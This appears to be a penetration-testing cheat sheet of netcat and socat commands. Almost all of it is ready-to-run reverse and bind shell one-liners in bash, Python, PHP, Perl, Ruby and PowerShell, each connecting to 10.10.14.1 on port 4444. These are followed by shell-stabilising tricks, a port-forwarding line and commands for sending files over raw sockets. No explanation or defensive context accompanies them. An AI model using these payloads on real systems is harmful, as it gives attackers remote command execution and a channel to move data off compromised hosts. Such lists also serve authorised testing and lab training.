Netcat and Socat for reverse shells, port forwarding, file transfer, and network debugging.
nc -lvnp 4444
nc -nv 10.10.10.1 4444
nc -lvnp 4444 -e /bin/bash
nc 10.10.14.1 4444 -e /bin/bash
nc 10.10.14.1 4444 -e cmd.exe
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1
bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.14.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"
php -r "$sock=fsockopen(\"10.10.14.1\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");"
perl -e "use Socket;$i=\"10.10.14.1\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");"
ruby -rsocket -e "f=TCPSocket.open(\"10.10.14.1\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)"
powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient(\"10.10.14.1\",4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+\"PS \"+(pwd).Path+\"> \";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
python3 -c "import pty;pty.spawn(\"/bin/bash\")"
python3 -c "import pty;pty.spawn(\"/bin/bash\")" && export TERM=xterm && Ctrl+Z && stty raw -echo; fg
script /dev/null -c bash
/usr/bin/script -qc /bin/bash /dev/null
stty rows 45 cols 180
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
socat TCP:10.10.14.1:4444 EXEC:/bin/bash
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:"/bin/bash -li",pty,stderr,setsid,sigint,sane
socat TCP:10.10.14.1:4444 EXEC:"/bin/bash -li",pty,stderr,setsid,sigint,sane
socat TCP-LISTEN:8080,fork TCP:10.10.10.1:80
socat -d -d TCP-LISTEN:4444 STDOUT
nc -lvnp 4444 > received_file
nc 10.10.14.1 4444 < file_to_send
socat TCP-LISTEN:4444,reuseaddr OPEN:received.txt,creat
socat TCP:10.10.14.1:4444 FILE:send_me.txt